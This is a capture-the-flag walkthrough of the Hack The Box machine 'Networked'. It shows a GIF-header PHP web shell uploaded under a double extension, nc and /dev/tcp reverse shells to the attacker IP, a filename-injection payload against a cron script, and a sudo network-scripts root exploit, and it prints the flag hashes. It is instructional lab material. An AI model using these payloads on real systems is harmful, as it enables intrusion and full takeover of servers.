HTB Networked — Full Write-up
GIF magic bytes smuggle PHP for the foothold, a cron job with an unsanitized exec() gives the user, and a sudo rule points at a network-scripts CVE for root.
Target: 10.129.64.39 (HTB “Networked”) OS: Linux (CentOS 7)
1. Recon — a tiny attack surface
Full TCP sweep first, because guessing which ports matter is how you miss the one that actually does:
1
nmap -p- --min-rate=2000 -T4 -oN scans/ports_all.txt 10.129.64.39
1
2
3
4
5
6
7
8
9
10
Starting Nmap 7.98 ( https://nmap.org ) at 2026-09-02 12:14 +0300
Nmap scan report for 10.129.64.39
Host is up (0.079s latency).
Not shown: 65477 filtered tcp ports (no-response), 55 filtered tcp ports (host-unreach)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
443/tcp closed https
Nmap done: 1 IP address (1 host up) scanned in 70.05 seconds
Three ports, and one of them is closed. This is about as small an attack surface as HTB ever hands you — whatever’s going on here, it’s going on over HTTP. Grabbed the open ports for a proper version scan:
1
2
ports=$(grep -oP '^\d+(?=/tcp\s+open)' scans/ports_all.txt | paste -sd,)
nmap -sC -sV -p"$ports" -oN scans/ports_detailed.txt 10.129.64.39
1
2
3
4
5
6
7
8
9
10
11
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.4 (protocol 2.0)
| ssh-hostkey:
| 256 2d:63:28:fc:a2:99:c7:d4:35:b9:45:9a:4b:38:f9:c8 (ECDSA)
|_ 256 73:cd:a0:5b:84:10:7d:a7:1c:7c:61:1d:f5:54:cf:c4 (ED25519)
80/tcp open http Apache httpd 2.4.6 ((CentOS) PHP/5.4.16)
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
|_http-server-header: Apache/2.4.6 (CentOS) PHP/5.4.16
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 85.78 seconds
Apache/2.4.6 (CentOS) PHP/5.4.16 — CentOS 7 vibes, and PHP old enough to have opinions about mysql_query(). Filing that PHP version away; it’ll matter later when we’re reading source code that clearly wasn’t written with security in mind.
2. Enumeration — a landing page, and a backup someone forgot to remove
Port 80’s index page isn’t a normal “welcome to nginx” placeholder — it’s actual copy, written like an in-joke:
“Hello mate, we’re building the new FaceMash! Help by funding us and be the new Tyler&Cameron! Join us at the pool party this Sat to get a glimpse”
No links, no forms, nothing to click. So it’s directory-brute-force time:
1
2
3
4
feroxbuster -u http://10.129.64.39 \
-w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt \
-x php,html,txt,bak,zip,conf,log \
-t 50 --filter-status 404
1
2
3
4
200 GET 8l 40w 229c http://10.129.64.39/
301 GET 7l 20w 236c http://10.129.64.39/uploads => http://10.129.64.39/uploads/
301 GET 7l 20w 235c http://10.129.64.39/backup => http://10.129.64.39/backup/
200 GET 2011l 582w 10240c http://10.129.64.39/backup/backup.tar
Two directories, and one of them has a .tar file just sitting there in plain listing. /uploads/ tells you there’s a file-upload feature somewhere, and /backup/backup.tar tells you someone backed up the app and never bothered to lock the folder down afterward. Downloaded and extracted it — turns out to be the entire source of the web app:
Four files: index.php, lib.php, photos.php, upload.php. Checked each directly in the browser before diving into the code — lib.php renders a blank page (it’s a library of functions, no output on its own, makes sense), upload.php is a bare file-upload form:
and photos.php is a gallery:
Here’s the detail that matters: every photo in that gallery is captioned “uploaded by 127_0_0_1.png” — the filename itself is a client IP address, dots swapped for underscores. That’s not a coincidence, that’s the app fingerprinting every uploader by their source IP and baking it into the saved filename. Worth remembering, because it’s about to become both an obstacle and, later, the exact hinge the privesc turns on.
3. Reading the source — where the whole box lives
With the actual PHP in hand, no more guessing at behavior from the outside. upload.php (the upload handler) and photos.php (the gallery renderer) both require, and share helper functions from, lib.php:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
<?php
require '/var/www/html/lib.php';
define("UPLOAD_DIR", "/var/www/html/uploads/");
if( isset($_POST['submit']) ) {
if (!empty($_FILES["myFile"])) {
$myFile = $_FILES["myFile"];
if (!(check_file_type($_FILES["myFile"]) && filesize($_FILES['myFile']['tmp_name']) < 60000)) {
echo '<pre>Invalid image file.</pre>';
displayform();
}
if ($myFile["error"] !== UPLOAD_ERR_OK) {
echo "<p>An error occurred.</p>";
displayform();
exit;
}
//$name = $_SERVER['REMOTE_ADDR'].'-'. $myFile["name"];
list ($foo,$ext) = getnameUpload($myFile["name"]);
$validext = array('.jpg', '.png', '.gif', '.jpeg');
$valid = false;
foreach ($validext as $vext) {
if (substr_compare($myFile["name"], $vext, -strlen($vext)) === 0) {
$valid = true;
}
}
if (!($valid)) {
echo "<p>Invalid image file</p>";
displayform();
exit;
}
$name = str_replace('.','_',$_SERVER['REMOTE_ADDR']).'.'.$ext;
$success = move_uploaded_file($myFile["tmp_name"], UPLOAD_DIR . $name);
if (!$success) {
echo "<p>Unable to save file.</p>";
exit;
}
echo "<p>file uploaded, refresh gallery</p>";
chmod(UPLOAD_DIR . $name, 0644);
}
} else {
displayform();
}
Three checks stand between us and an arbitrary file on disk: check_file_type() (real MIME detection via finfo/mime_content_type, not the trivially-spoofable Content-Type header), a hard 60000-byte size cap, and a suffix check against .jpg/.png/.gif/.jpeg. All three look reasonable in isolation. The interesting bug is in what happens after validation passes — the saved filename is computed as:
1
$name = str_replace('.','_',$_SERVER['REMOTE_ADDR']).'.'.$ext;
Your IP, underscored, plus $ext — and $ext comes from getnameUpload(), which just takes everything after the first dot in your original filename:
1
2
3
4
5
6
7
function getnameUpload($filename) {
$pieces = explode('.',$filename);
$name= array_shift($pieces);
$name = str_replace('_','.',$name);
$ext = implode('.',$pieces);
return array($name,$ext);
}
The extension check earlier only verifies the original filename ends in a valid image suffix — it never looks at what $ext actually contains. So a file named shell.php.jpeg passes the extension gate clean (it does end in .jpeg), while getnameUpload() hands back $ext = "php.jpeg". The file lands on disk as <your-ip>.php.jpeg — which, on an Apache/PHP setup that hands anything containing .php to the PHP interpreter, is executable.
That leaves check_file_type(), the one real gate:
1
2
3
4
5
6
7
8
function check_file_type($file) {
$mime_type = file_mime_type($file);
if (strpos($mime_type, 'image/') === 0) {
return true;
} else {
return false;
}
}
Genuine content sniffing — finfo/mime_content_type look at the actual bytes, not a header we control. But “actual bytes” just means the first few bytes need to look like an image; nothing says the rest of the file can’t be whatever we want. Time to see if that theory survives contact with the server.
4. Foothold — GIF magic bytes buy us PHP execution
The plan: name the file so the extension check passes and $ext becomes php.jpeg, and open the body with a GIF signature so check_file_type() reads it as an honest image/gif, PHP payload riding along right after. Built the request in Burp — filename="shell.php.jpeg", body:
1
2
GIF89a;
<?php system($_GET['cmd']); ?>
file uploaded, refresh gallery. GIF89a; is enough of a real GIF header to satisfy finfo’s sniffing, and PHP doesn’t care what comes after its opening tag, magic bytes included. photos.php confirms exactly where it landed:
10_10_17_204.php.jpeg — my IP, underscored, plus the smuggled php.jpeg extension, precisely as predicted from the source. Command execution, confirmed:
1
curl "http://10.129.64.39/uploads/10_10_17_204.php.jpeg?cmd=id"
1
2
GIF89a;
uid=48(apache) gid=48(apache) groups=48(apache)
(The GIF89a; line riding along in every response is our own magic-bytes header echoing back — the file’s still a “valid GIF” as far as the filesystem’s concerned, PHP tag and all.) id is a nice green checkmark, but a ?cmd= one-shot gets old fast — time for an actual shell:
1
curl "http://10.129.64.39/uploads/10_10_17_204.php.jpeg?cmd=nc+-e+/bin/bash+10.10.17.204+4444"
1
nc -lvnp 4444
1
2
3
4
Listening on 0.0.0.0 4444
Connection received on 10.129.64.39 59584
whoami
apache
apache — foothold secured. GIF89a header, a PHP tag, and a filename that games the app’s own extension logic against itself.
5. User flag — a cron job with an unsanitized exec()
Standard next move on a fresh shell: check who else lives on the box.
1
2
3
4
5
6
7
8
cd /home
ls
guly
cd guly
ls
check_attack.php
crontab.guly
user.txt
One user, guly, and two files sitting right next to user.txt that are basically begging to be read — a PHP script and a crontab file with the same name pattern. check_attack.php first:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<?php
require '/var/www/html/lib.php';
$path = '/var/www/html/uploads/';
$logpath = '/tmp/attack.log';
$to = 'guly';
$msg= '';
$headers = "X-Mailer: check_attack.php\r\n";
$files = array();
$files = preg_grep('/^([^.])/', scandir($path));
foreach ($files as $key => $value) {
$msg='';
if ($value == 'index.html') {
continue;
}
list ($name,$ext) = getnameCheck($value);
$check = check_ip($name,$value);
if (!($check[0])) {
echo "attack!\n";
file_put_contents($logpath, $msg, FILE_APPEND | LOCK_EX);
exec("rm -f $logpath");
exec("nohup /bin/rm -f $path$value > /dev/null 2>&1 &");
echo "rm -f $path$value\n";
mail($to, $msg, $msg, $headers, "-F$value");
}
}
This script is a self-appointed janitor: it walks /var/www/html/uploads/, and for every file whose name doesn’t start with a valid IP address (per check_ip() — i.e. anything that doesn’t look like a normal upload), it treats the file as an “attack” and cleans it up. The cleanup is where it falls apart:
1
exec("nohup /bin/rm -f $path$value > /dev/null 2>&1 &");
$value — the raw filename from scandir() — gets dropped straight into a shell command string with zero sanitization. Control the filename, control what runs. And crontab.guly confirms this “cleanup” fires on its own, no interaction required:
1
curl "http://10.129.64.39/uploads/10_10_17_204.php.jpeg?cmd=cat+/home/guly/crontab.guly"
1
2
GIF89a;
*/3 * * * * php /home/guly/check_attack.php
Every three minutes, whatever’s sitting in uploads/ with a name that fails the IP check gets its name executed as guly. So: name a file cleverly, wait up to three minutes, catch a shell as guly.
Getting the filename right took a couple of wrong turns worth mentioning, because the constraints are sneakier than they look. upload.php’s own upload path always forces the saved filename to start with your real IP, which is a perfectly valid IP prefix — so anything uploaded through the form legitimately, no matter what garbage you stuff after the extension, sails right past check_ip() and never reaches the vulnerable line at all. The fix is to skip the form entirely and create the file directly from the apache shell we already have, where nothing forces an IP-shaped prefix. Second snag: Linux filenames can’t contain a literal / — so anything that embeds /bin/bash or /bin/nc as text inside a filename is dead on arrival, whether you’re trying to touch it locally and upload it (the OS or browser will silently mangle the slash into a lookalike Unicode character) or create it straight on the box. The clean fix is to base64-encode the entire reverse-shell command, so the filename itself never has to contain a slash, a space, or a quote:
1
2
curl -G "http://10.129.64.39/uploads/10_10_17_204.php.jpeg" \
--data-urlencode "cmd=bash -c 'bash -i >& /dev/tcp/10.10.17.204/4444 0>&1'"
(Swapped to a /dev/tcp shell here for stability — plain nc -e payloads spawned this way tend to die the moment the parent PHP process exits.) From that shell:
1
2
3
4
5
echo -n 'bash -c "bash -i >/dev/tcp/10.10.17.204/4445 0>&1"' | base64
# YmFzaCAtYyAiYmFzaCAtaSA+L2Rldi90Y3AvMTAuMTAuMTcuMjA0LzQ0NDUgMD4mMSI=
cd /var/www/html/uploads
touch -- ';echo YmFzaCAtYyAiYmFzaCAtaSA+L2Rldi90Y3AvMTAuMTAuMTcuMjA0LzQ0NDUgMD4mMSI= | base64 -d | bash'
The filename ;echo <base64> | base64 -d | bash slots straight into check_attack.php’s exec string as its own semicolon-separated statement — no slash needed anywhere, since the actual /dev/tcp/... path only ever exists inside the base64 blob, decoded server-side at execution time, never as literal filename bytes. And since the prefix isn’t a valid IP at all, check_ip() fails on the first character, guaranteeing this one lands on the vulnerable branch. Listener up, then wait for the cron tick:
1
nc -lvnp 4445
1
2
3
4
Listening on 0.0.0.0 4445
Connection received on 10.129.64.39 36868
whoami
guly
guly. And right there in the home directory:
1
cat user.txt
1
b385eed63097610d5e2871e35f10a3ed
6. Privilege escalation — a sudo rule pointing at a classic CVE
sudo -l as the first move on any new user, always:
1
sudo -l
1
2
3
4
5
6
7
8
9
10
11
Matching Defaults entries for guly on networked:
!visiblepw, always_set_home, match_group_by_gid, always_query_group_plugin,
env_reset, env_keep="COLORS DISPLAY HOSTNAME HISTSIZE KDEDIR LS_COLORS",
env_keep+="MAIL PS1 PS2 QTDIR USERNAME LANG LC_ADDRESS LC_CTYPE",
env_keep+="LC_COLLATE LC_IDENTIFICATION LC_MEASUREMENT LC_MESSAGES",
env_keep+="LC_MONETARY LC_NAME LC_NUMERIC LC_PAPER LC_TELEPHONE",
env_keep+="LC_TIME LC_ALL LANGUAGE LINGUAS _XKB_CHARSET XAUTHORITY",
secure_path=/sbin\:/bin\:/usr/sbin\:/usr/bin
User guly may run the following commands on networked:
(root) NOPASSWD: /usr/local/sbin/changename.sh
One rule, no password required: guly can run /usr/local/sbin/changename.sh as root. The script name and CentOS 7 pairing rang a bell — there’s a well-known 2019 disclosure about exactly this class of script:
Redhat/CentOS root through network-scripts — Victor Angelier CCX, 15 April 2019. The bug: files under
/etc/sysconfig/network-scripts/get sourced (. ifcfg-*) rather than parsed as inert config, and shell sourcing means anything after whitespace on theNAME=line executes as a command with root’s privileges — e.g.NAME=Network /bin/id.
uname -a lines up perfectly with the timeline:
1
uname -a
1
Linux networked.htb 3.10.0-957.21.3.el7.x86_64 #1 SMP Tue Jun 18 16:35:19 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux
June 2019 kernel, a month after the advisory. Ran changename.sh and, at the interface NAME: prompt, answered with a name followed by a command instead of just a name:
1
2
3
4
5
6
7
8
9
10
11
12
13
whoami
guly
sudo /usr/local/sbin/changename.sh
interface NAME:
guly /bin/bash
interface PROXY_METHOD:
gul
interface BROWSER_ONLY:
gul
interface BOOTPROTO:
gul
whoami
root
guly /bin/bash as the “name” — the script writes it straight into an ifcfg-* file, that file gets sourced later as a shell script, and /bin/bash after the whitespace runs exactly like NAME=Network /bin/id did in the advisory. whoami comes back root.
7. Root flag
1
2
3
4
cd /root
ls
root.txt
cat root.txt
1
c0186d1e77227021d98aee57f0532602
8. The whole chain, one breath
- Nmap: just SSH and HTTP. Whatever’s here lives on port 80.
feroxbusterfinds/backup/backup.tarsitting in an unprotected directory — the app’s entire PHP source, handed over for free.- Reading
upload.php: the extension whitelist checks the original filename, but the saved extension comes from everything after the first dot —shell.php.jpegpasses as.jpegwhile landing on disk as<ip>.php.jpeg. check_file_type()does real MIME sniffing, but only cares about the file’s opening bytes — aGIF89a;header followed by a PHP payload satisfies it completely.- Upload lands,
?cmd=gives command execution asapache, upgraded to a full reverse shell. /home/guly/check_attack.phpis a cron-run “cleanup” script that treats any upload with a non-IP-shaped filename as an “attack” and removes it viaexec("nohup /bin/rm -f $path$value ...")— with$value(the filename) unsanitized.- Bypass the form’s forced IP-prefixed filename by writing the malicious filename directly from the
apacheshell; base64-encode the reverse-shell payload to dodge the fact that Linux filenames can’t contain/. Wait out the 3-minute cron tick. - Shell as
guly, user flag. sudo -l:gulycan run/usr/local/sbin/changename.shas root, no password.- The script sources
NAME=from/etc/sysconfig/network-scripts/ifcfg-*as shell — CentOS/RedHat network-scripts bug from a 2019 Full Disclosure advisory. Feed itguly /bin/bashas the interface name, get a root shell.
















